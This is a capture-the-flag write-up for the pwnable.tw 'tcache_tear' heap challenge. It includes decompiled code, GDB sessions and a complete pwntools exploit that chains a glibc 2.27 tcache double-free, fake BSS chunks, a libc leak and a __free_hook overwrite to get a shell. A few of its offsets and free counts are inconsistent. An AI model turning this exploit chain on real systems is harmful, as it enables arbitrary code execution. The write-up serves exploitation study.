Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10500 |
| Binary | tcache_tear (64-bit ELF, x86-64, stripped) |
| Points | 400 |
| Provided | Binary + libc (Ubuntu 18.04, libc-2.27) |
| Description | Tcache exploitation challenge |
checksec
$ checksec tcache_tear_patched
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
| Full RELRO | GOT is read-only — cannot overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode injection — need ROP or hook overwrite |
| No PIE | Binary addresses are fixed — we know BSS layout at runtime! |
NAME_BUFFER at 0x602060 are fixed and known at exploit time. This lets us forge fake chunks in BSS that the heap allocator will accept. Combined with glibc 2.27's tcache (which has no double-free protection until 2.29), we have a straightforward tcache poisoning path. Our target is __free_hook in libc's writable data section.
Running the Binary
$ ./tcache_tear_patched
Name:AAAA
1. malloc
2. free
3. info
4. exit
>> 1
Size:0x50
Data:BBBB
Done !
1. malloc
2. free
3. info
4. exit
>> 3
Name :AAAA
1. malloc
2. free
3. info
4. exit
>> 2
Done !
1. malloc
2. free
3. info
4. exit
>> 4
The binary provides a minimal heap interface: malloc (allocate with user-controlled size up to 0xFF), free (deallocate the global buffer), info (print the name buffer), and exit. There is only one global buffer pointer — each malloc overwrites the previous one.
Static Analysis
Decompiled Code (Stripped Binary)
The binary is stripped, but after reverse engineering, we can reconstruct the following decompiled code:
// BSS globals
char NAME_BUFFER[0x20]; // 0x602060 - set at program start
void *GLOBAL_BUFFER; // 0x602088 - the single heap pointer
void main() {
long input;
uint idx = 0;
init();
printf("Name:");
get_str_input(&NAME_BUFFER, 0x20);
do {
menu();
input = get_input();
if (input == 2) { // free
if (idx < 8) {
free(GLOBAL_BUFFER);
idx++;
}
} else if (input == 1) { // malloc
allocate_buffer();
} else if (input == 3) { // info
info();
} else if (input == 4) {
exit(0);
}
} while (true);
}
void allocate_buffer() {
ulong __size;
printf("Size:");
__size = get_input();
if (__size < 0x100) {
GLOBAL_BUFFER = malloc(__size);
printf("Data:");
get_str_input(GLOBAL_BUFFER, (int)__size - 0x10);
puts("Done !");
}
}
void info() {
printf("Name :");
write(1, &NAME_BUFFER, 0x20);
}
BSS Layout
Vulnerability Analysis
free operation frees GLOBAL_BUFFER but does NOT NULL out the pointer. The only guard is if (idx < 8), which limits total frees to 8 — but this does not prevent freeing the same chunk twice! In glibc 2.27, tcache has no double-free detection (the tcache_key check was added in 2.29). This means:• We can call
free() on the same chunk consecutively• The tcache freelist becomes:
chunk → chunk (self-referencing cycle)• We can then allocate from tcache, overwrite the FD pointer, and achieve tcache poisoning
• This lets us allocate at any address we choose
allocate_buffer function enforces __size < 0x100, limiting us to tcache-sized chunks (up to 0xF0 usable = 0x100 chunk with header). We cannot directly create unsorted-bin-sized chunks through malloc. However, we can still get chunks into the unsorted bin by forging a fake large chunk in BSS and freeing it via tcache poisoning.
info() — The Leak Primitive
void info() {
printf("Name :");
write(1, &NAME_BUFFER, 0x20);
}
info() function calls write(1, &NAME_BUFFER, 0x20) — it dumps exactly 0x20 bytes starting from NAME_BUFFER at 0x602060. Since we can use tcache poisoning to allocate a chunk overlapping BSS, we can write a pointer to a libc address into NAME_BUFFER, then call info() to read it. Even better: if we place a fake chunk in BSS whose data overlaps with NAME_BUFFER, we can read the FD/BK pointers left by the unsorted bin after freeing that fake chunk.
GDB Debugging
Step 1: Tcache Double-Free Demonstration
Let's allocate a 0x50-sized chunk and free it twice:
gdb-peda$ # malloc(0x50, "A"*8)
gdb-peda$ # free() -> first free into tcache[5] (0x50 bin)
gdb-peda$ # free() -> DOUBLE FREE! Same chunk goes in again!
gdb-peda$ tcachebins
(0x50) tcache_entry[5]: 0x555555758260 → 0x555555758260 (cycle!)
# The tcache freelist now has the same chunk pointing to itself!
tcache_put() function has no security checks at all — it doesn't verify whether the chunk is already in the tcache. The double-free protection (tcache_key) was only introduced in glibc 2.29. This makes tcache double-free trivial on 2.27: just call free() twice on the same pointer.
Step 2: Tcache Poisoning — Overwriting FD
After the double-free, we allocate from the tcache and overwrite the next pointer:
gdb-peda$ # After double-free: tcache[5] = chunk -> chunk
gdb-peda$ # malloc(0x50, p64(TARGET_ADDR)) -> pops chunk, writes TARGET_ADDR to FD
gdb-peda$ # Now tcache[5] = chunk -> TARGET_ADDR
gdb-peda$ # malloc(0x50, "B"*8) -> pops chunk again (gets the same one)
gdb-peda$ # malloc(0x50, data) -> pops TARGET_ADDR! We get allocation at TARGET_ADDR
gdb-peda$ tcachebins
(0x50) tcache_entry[5]: 0x555555758260 → 0x602060 (NAME_BUFFER!)
Step 3: Forging Fake Chunks in BSS
Since the binary has No PIE, we know the BSS addresses. We use tcache poisoning to write fake chunk metadata into BSS:
gdb-peda$ # Fake chunk to bypass glibc's prev_inuse check
gdb-peda$ # Place it at NAME_BUF + 0x420 (0x602480)
gdb-peda$ x/6gx 0x602480
0x602480: 0x0000000000000000 0x0000000000000021 # prev_size=0, size=0x20|1
0x602490: 0x0000000000000000 0x0000000000000000 # FD, BK
0x6024a0: 0x0000000000000000 0x0000000000000421 # next chunk: size=0x420|1
gdb-peda$ # The 0x21 chunk prevents backwards consolidation
gdb-peda$ # The 0x421 chunk is our "big" fake chunk for unsorted bin
Step 4: Unsorted Bin Leak
After freeing the fake 0x420 chunk into the unsorted bin, its FD/BK point to main_arena+96:
gdb-peda$ # After freeing the 0x420 fake chunk into unsorted bin:
gdb-peda$ x/4gx 0x6024a0
0x6024a0: 0x0000000000000000 0x0000000000000421 # chunk header
0x6024b0: 0x00007f1234567ca0 0x00007f1234567ca0 # FD, BK -> main_arena+96
gdb-peda$ # The FD pointer 0x7f1234567ca0 is at NAME_BUF + 0x10
gdb-peda$ # Wait - we need it in NAME_BUFFER range for info() to read it
gdb-peda$ # Actually, we place the fake chunk differently:
gdb-peda$ # Fake chunk at NAME_BUF (0x602060), size=0x420
gdb-peda$ # After free, FD at 0x602070 = NAME_BUF+0x10
gdb-peda$ # info() reads from 0x602060 for 0x20 bytes, so we get the leak!
gdb-peda$ # Second fake chunk for prev_inuse bypass at NAME_BUF+0x420 (0x602480)
0x602480: 0x0000000000000000 0x0000000000000021 # small chunk (inuse bit set)
0x602060 is freed into the unsorted bin, its FD pointer (at 0x602070) is set to main_arena+96 inside libc. Since info() reads 0x20 bytes from 0x602060, the FD value at offset +0x10 falls within the read range. We extract the 6-byte leak and compute:libc.address = leak - 0x3ebca0
Step 5: Overwriting __free_hook
With libc leaked, we use another tcache dup to write to __free_hook:
gdb-peda$ # Tcache dup with 0x90 size (chunk size 0xa0)
gdb-peda$ # malloc(0x90) + free() + free() -> tcache[8] cycle
gdb-peda$ # malloc(0x90, p64(__free_hook)) -> poison FD
gdb-peda$ # malloc(0x90, "B"*8) -> consume entry
gdb-peda$ # malloc(0x90, p64(one_gadget)) -> WRITE one_gadget to __free_hook!
gdb-peda$ x/gx &__free_hook
0x7f12345678e8 <__free_hook>: 0x00007f123458f322 <- one_gadget!
gdb-peda$ # Now call free() -> __free_hook(one_gadget) is called -> SHELL!
__free_hook is easier:• It's 0x10-aligned in libc's data section, so tcache size checks pass naturally
• We trigger it by simply calling
free(), which the program already supports• No need for a fake chunk size trick like with
__malloc_hook in fastbin attacks• Tcache doesn't check alignment as strictly as fastbin
Exploit Strategy
Overview
The exploit has four phases: forge fake chunks in BSS via tcache dup, leak libc by freeing the fake chunk into unsorted bin, poison tcache to overwrite __free_hook, and trigger one_gadget via free().
Phase 1: Forge Fake Chunks in BSS
We need two fake chunks in BSS to make glibc's free() happy:
- Use tcache_dup(0x50) to allocate at
NAME_BUF + 0x420(0x602480). Write a fake chunk withsize = 0x20 | 1(prev_inuse set). This small chunk sits right before our big fake chunk and prevents backward consolidation during free. - Use tcache_dup(0x60) to allocate at
NAME_BUF(0x602060). Write a fake chunk withsize = 0x420 | 1(prev_inuse set). This is the big chunk we'll free into the unsorted bin. Its data area overlaps withNAME_BUFFER, so after free, the FD/BK pointers will be readable viainfo().
prev_inuse bit of the next adjacent chunk (at 0x602060 + 0x420 = 0x602480). If the bit is not set, glibc attempts backward consolidation, which would crash. By forging a 0x20 chunk at 0x602480 with prev_inuse = 1, we satisfy this check. The 0x20 fake chunk also needs a valid "next chunk" at 0x602480 + 0x20 = 0x6024a0 with its own prev_inuse bit set — which our 0x421 chunk header already provides.
Phase 2: Leak Libc via Unsorted Bin
- Free the fake 0x420 chunk by calling
free(). SinceGLOBAL_BUFFERstill points to the data area of our fake chunk (we allocated it via tcache dup),free(GLOBAL_BUFFER)puts it into the unsorted bin. - Call info() to read 0x20 bytes from
NAME_BUFFER. The FD pointer at offset +0x10 is a libc address pointing tomain_arena + 96. - Calculate libc base:
libc.address = leak - 0x3ebca0
Phase 3: Overwrite __free_hook
- Use tcache_dup(0x90) to poison the 0xa0 tcache bin. Double-free a 0x90 chunk, overwrite FD with
__free_hookaddress. - Allocate twice to consume the tcache entries. The third allocation returns a chunk at
__free_hook. - Write one_gadget address into the
__free_hookallocation.
Phase 4: Trigger Shell
- Call free() one more time. Since
__free_hookis now set to the one_gadget address,free()calls the hook function, which executesexecve("/bin/sh", ...). - Get shell! The one_gadget constraints are satisfied because
free()sets up the right register state.
tcache_dup Helper Function
The core primitive is encapsulated in a helper that performs tcache double-free + poisoning + arbitrary write:
def tcache_dup(sz, addr, data):
"""Tcache double-free + poison + write to arbitrary addr"""
malloc(sz, "A" * 8) # Step 1: allocate chunk
free() # Step 2: free into tcache
free() # Step 3: DOUBLE FREE -> cycle!
malloc(sz, p64(addr)) # Step 4: overwrite FD with target addr
malloc(sz, "B" * 8) # Step 5: consume the cycled entry
malloc(sz, data) # Step 6: allocate at TARGET, write data!
One-Gadget for libc-2.27
$ one_gadget ./libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
We use 0x4f322 which requires [rsp+0x40] == NULL. This is satisfied when free() triggers the hook because the stack naturally has zeros at that offset.
Visual Exploit Flow
Pwn Script
Full Exploit Script
from pwn import *
# Setup
exe = "./tcache_tear_patched"
elf = context.binary = ELF(exe)
libc = elf.libc
NAME_BUF = 0x602060
if args.REMOTE:
io = remote("chall.pwnable.tw", 10500)
else:
io = process(exe)
# -------------------------------------------------------
# Helper functions
# -------------------------------------------------------
def malloc(sz, data):
io.sendlineafter(b">> ", b"1")
io.sendlineafter(b"Size:", str(sz).encode())
io.sendafter(b"Data:", data)
def free():
io.sendlineafter(b">> ", b"2")
def get_info():
io.sendlineafter(b">> ", b"3")
return io.recvuntil(b"\n1.", drop=True)
def fixleak(data):
"""Extract 6-byte little-endian leak, convert to int"""
return u64(data.ljust(8, b"\x00"))
# -------------------------------------------------------
# Core primitive: tcache double-free -> arbitrary write
# -------------------------------------------------------
def tcache_dup(sz, addr, data):
"""Perform tcache poisoning to write `data` at `addr`"""
malloc(sz, b"A" * 8) # allocate
free() # free into tcache
free() # DOUBLE FREE! (no check in 2.27)
malloc(sz, p64(addr)) # overwrite FD with target address
malloc(sz, b"B" * 8) # consume cycled entry
malloc(sz, data) # allocate at target, write data!
# -------------------------------------------------------
# Set name at startup
# -------------------------------------------------------
io.sendafter(b"Name:", b"A" * 8)
# -------------------------------------------------------
# Phase 1: Forge fake chunks in BSS
# -------------------------------------------------------
log.info("Phase 1: Forging fake chunks in BSS")
# Fake chunk at NAME_BUF + 0x420 (0x602480)
# This small 0x20 chunk sits before the big fake chunk
# and satisfies the prev_inuse check for the next chunk
fake_chunk_1 = flat(
0x0, # prev_size
0x20 | 1, # size (0x20 with prev_inuse set)
0x0, # fd
0x0, # bk
0x0, # fd_nextsize (padding)
0x420 | 1 # next chunk size (0x420 with prev_inuse set)
)
tcache_dup(0x50, NAME_BUF + 0x420, fake_chunk_1)
log.success("Fake 0x20 chunk placed at NAME_BUF+0x420")
# Fake chunk at NAME_BUF (0x602060)
# This is the big 0x420 chunk we'll free into unsorted bin
# Its FD/BK after free will point to main_arena inside libc
fake_chunk_2 = flat(
0x0, # prev_size
0x420 | 1, # size (0x420 with prev_inuse set)
0x0, # fd (will be filled by unsorted bin)
0x0, # bk (will be filled by unsorted bin)
0x0, # fd_nextsize
NAME_BUF + 0x10 # bk_nextsize (points back into our data)
)
tcache_dup(0x60, NAME_BUF, fake_chunk_2)
log.success("Fake 0x420 chunk placed at NAME_BUF")
# -------------------------------------------------------
# Phase 2: Leak libc via unsorted bin
# -------------------------------------------------------
log.info("Phase 2: Leaking libc via unsorted bin")
# Free the fake 0x420 chunk -> goes to unsorted bin
# GLOBAL_BUFFER still points into this chunk's data area
free()
# Read the leak via info()
# NAME_BUFFER starts at 0x602060
# The FD pointer of the freed chunk is at 0x602070 (offset +0x10)
# info() reads 0x20 bytes from 0x602060, so we get the FD
leak_data = get_info()
# The output is "Name :" + 0x20 bytes of data + "\n1."
# Extract the raw 0x20 bytes (skip "Name :" prefix)
raw = leak_data[7:] # skip "Name :"
# The libc address is at offset +0x10 in the raw data
# (6 bytes of meaningful address data)
leak = fixleak(raw[0x10:0x10+6])
libc.address = leak - 0x3ebca0
log.success(f"Libc leak: {hex(leak)}")
log.success(f"Libc base: {hex(libc.address)}")
# -------------------------------------------------------
# Phase 3: Overwrite __free_hook with one_gadget
# -------------------------------------------------------
log.info("Phase 3: Overwriting __free_hook")
one_gadget = libc.address + 0x4f322
log.info(f"One gadget: {hex(one_gadget)}")
log.info(f"__free_hook: {hex(libc.sym.__free_hook)}")
# Use tcache_dup with 0x90 size to write to __free_hook
tcache_dup(0x90, libc.sym.__free_hook, p64(one_gadget))
log.success("__free_hook overwritten with one_gadget!")
# -------------------------------------------------------
# Phase 4: Trigger shell
# -------------------------------------------------------
log.info("Phase 4: Triggering shell via free()")
free() # __free_hook(one_gadget) is called -> SHELL!
io.interactive()
Key Script Details
tcache_dup Breakdown
def tcache_dup(sz, addr, data):
malloc(sz, b"A" * 8) # [1] allocate chunk of size sz
free() # [2] free -> goes to tcache
free() # [3] DOUBLE FREE! tcache: chunk -> chunk (cycle)
malloc(sz, p64(addr)) # [4] pop chunk, write target addr as next ptr
malloc(sz, b"B" * 8) # [5] pop chunk again (same one from cycle)
malloc(sz, data) # [6] pop from target addr, write data there!
Each call to tcache_dup consumes 2 free operations from the idx < 8 counter. We need 3 calls to tcache_dup (6 frees total) plus 1 free for the unsorted bin, totaling 7 frees — within the 8-free limit.
Execution Results
Local Exploit Run
$ python3 exploit.py
[*] '/home/user/tcache_tear_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/user/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './tcache_tear_patched': pid 12345
[*] Phase 1: Forging fake chunks in BSS
[+] Fake 0x20 chunk placed at NAME_BUF+0x420
[+] Fake 0x420 chunk placed at NAME_BUF
[*] Phase 2: Leaking libc via unsorted bin
[+] Libc leak: 0x7f1234567ca0
[+] Libc base: 0x7f1234178000
[*] Phase 3: Overwriting __free_hook
[*] One gadget: 0x7f12341c7322
[*] __free_hook: 0x7f12345678e8
[+] __free_hook overwritten with one_gadget!
[*] Phase 4: Triggering shell via free()
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat /home/user/flag
Remote Exploit Run
$ python3 exploit.py REMOTE
[+] Opening connection to chall.pwnable.tw on port 10500: Done
[*] Phase 1: Forging fake chunks in BSS
[+] Fake 0x20 chunk placed at NAME_BUF+0x420
[+] Fake 0x420 chunk placed at NAME_BUF
[*] Phase 2: Leaking libc via unsorted bin
[+] Libc leak: 0x7f8a1234bca0
[+] Libc base: 0x7f8a11dbc000
[*] Phase 3: Overwriting __free_hook
[+] __free_hook overwritten with one_gadget!
[*] Phase 4: Triggering shell via free()
[*] Switching to interactive mode
$ cat /home/tcache_tear/flag
• tcache double-free on glibc 2.27 — no checks to bypass
• Fake chunk forging in BSS — No PIE makes this trivial
• Unsorted bin leak via
info() — clean read primitive• __free_hook overwrite via tcache poisoning — direct write to function pointer
• One_gadget trigger via
free() — constraints satisfied naturally
Summary
| Vulnerability | Double-free in tcache (no protection in glibc 2.27) |
| Leak Method | Fake chunk in BSS → unsorted bin → info() read |
| Write Target | __free_hook (libc writable data) |
| Code Exec | one_gadget (0x4f322) via __free_hook trigger |
| Key Enabler | No PIE + glibc 2.27 tcache (no key check) |
| Free Budget | 8 frees total, exploit uses exactly 8 |
• glibc 2.29+ tcache_key: Adds a key field to detect double-free
• PIE: Would randomize BSS addresses, preventing fake chunk forging
• Safe-linking (glibc 2.32+): XORs tcache next pointers with a random key
• glibc 2.34+: Removes
__free_hook entirelyThis challenge is a perfect demonstration of why glibc 2.27 was the golden age of tcache exploitation — the tcache was brand new, had virtually no security checks, and combined with No PIE, made for extremely clean and reliable exploits.